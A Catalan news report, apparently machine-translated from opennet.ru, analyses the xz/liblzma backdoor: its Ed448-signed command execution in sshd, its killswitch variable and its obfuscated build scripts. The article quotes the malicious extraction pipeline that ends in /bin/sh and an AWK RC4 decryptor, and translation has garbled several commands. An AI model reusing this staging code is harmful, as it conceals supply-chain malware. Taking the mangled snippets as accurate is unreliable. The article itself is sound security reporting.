Els resultats preliminars estan disponibles a partir de l'enginyeria inversa d'un fitxer d'objectes maliciós incrustat a liblzma com a resultat d'una campanya per introduir una porta posterior al paquet xz. La porta posterior només afecta els sistemes x86_64 basats en el nucli Linux i la biblioteca Glibc C, en què s'aplica un pedaç addicional a sshd que enllaça amb la biblioteca libsystemd per donar suport al mecanisme sd_notify. Inicialment, es va suposar que la porta posterior podria evitar l'autenticació sshd i accedir al sistema mitjançant SSH. Una anàlisi més detallada va demostrar que aquest no és el cas i que la porta del darrere ofereix la possibilitat d'executar codi arbitrari al sistema sense deixar cap rastre als registres sshd.
En particular, la funció RSA_public_decrypt interceptada per la porta del darrere verifica la signatura de l'amfitrió mitjançant la clau fixa Ed448 i, si es verifica amb èxit, executa el codi transmès per l'amfitrió extern mitjançant la funció system() en l'etapa abans que el procés sshd restableixi els privilegis. Les dades que contenen el codi d'execució s'extreuen del paràmetre "N" passat a la funció RSA_public_decrypt (el camp "n" de l'estructura rsa_st que conté la clau pública transmesa per l'amfitrió extern), verificat per la suma de control i desxifrat mitjançant la clau predefinida ChaCha20 en l'etapa de verificació prèvia signatura digital Ed448.
Com a senyal per activar una porta posterior a sshd, s'utilitza el mecanisme estàndard d'intercanvi de claus d'amfitrió. La porta del darrere aprofita el fet que els certificats OpenSSH inclouen la clau pública de la persona que ha generat la signatura, i respon només a la clau preparada per l'atacant i corresponent a la clau fixa predefinida Ed448. Si la verificació de la signatura de clau pública falla o si no es confirma la integritat de les dades d'execució, la porta posterior retorna el control a les funcions SSH estàndard.
Atès que la clau privada de l'atacant és desconeguda, és impossible implementar un codi de verificació que permeti als estrangers activar la porta posterior i implementar un escàner per a hosts compromesos a la xarxa. Els investigadors han preparat un script que demostra la tècnica de substituir una clau pública amb contingut arbitrari en un certificat OpenSSH transmès per un client SSH, que es processarà a la funció RSA_public_decrypt interceptada per la porta posterior.
Els investigadors també van notar la presència d'una estructura que neutralitza la porta del darrere (killswitch) al sistema local si la variable d'entorn "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" s'estableix abans d'iniciar sshd.
A més, podem observar una anàlisi detallada de les construccions de l'intèrpret d'ordres utilitzades per confondre el procés d'extracció d'un fitxer objecte amb una porta posterior i substituir-lo a la biblioteca liblzma. Durant el muntatge del paquet xz, es va llançar un codi des de l'script build-to-host.m4 que va trobar l'arxiu bad-3-corrupt_lzma2.xz entre els fitxers de prova, hi va substituir alguns caràcters i el va convertir en un arxiu intacte. i n'he extret l'script de l'intèrpret d'ordres. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` … gl_[$1]_config='sed \»r\ n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' gl_path_map='tr «\t \-_» » \t_\-«'
L'script d'intèrpret d'ordres resultant, peça per peça, va extreure un altre script d'intèrpret d'ordres del contingut de l'arxiu good-large_compressed.lzma, saltant certes seqüències amb les ordres head i tail i substituint caràcters per l'ordre tr. ####Hola#### # uns quants bytes binaris aquí, però com que és un comentari s'ignoren [ ! $(uname) = "Linux" ] && sortida 0 [ ! $(uname) = "Linux" ] && sortida 0 [ ! $(uname) = "Linux" ] && sortida 0 [ ! $(uname) = "Linux" ] && sortida 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` si prova -f ../../config.status; llavors eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((cap -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/ null) && cap -c +2048 && (cap -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/null) && cap -c +2048 && (cap - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (cap -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/ dev/null) && capçalera -c +2048 && (capçalera -c +1024 >/dev/null) && capçalera -c +2048 && (capçalera -c +1024 >/dev/null) && capçalera -c +2048 && ( head -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####
Com a resultat, es va generar un script d'intèrpret d'ordres força complex i voluminós que va extreure directament el fitxer amb la porta posterior de l'arxiu good-large_compressed.lzma, el va desxifrar i el va incrustar a liblzma. Entre altres coses, l'script contenia una implementació del mecanisme del complement, que permet el lliurament posterior de components executables addicionals mitjançant la col·locació de nous arxius de prova, sense canviar good-large_compressed.lzma i bad-3-corrupt_lzma2.xz, però utilitzant un cerca de signatures. El codi també incloïa un desxifrador basat en l'algorisme RC4, implementat en el llenguatge AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed “s/\(.\)/\1\n/g” | LC_ALL=C awk 'BEGIN{FS=»\n»;RS=»\n»;ORS=»»;m=256;for(i=0;i /dev/null 7>&5) && head -c +$W) > liblzma_la-crc0-fast.o || veritat
Font: opennet.ru
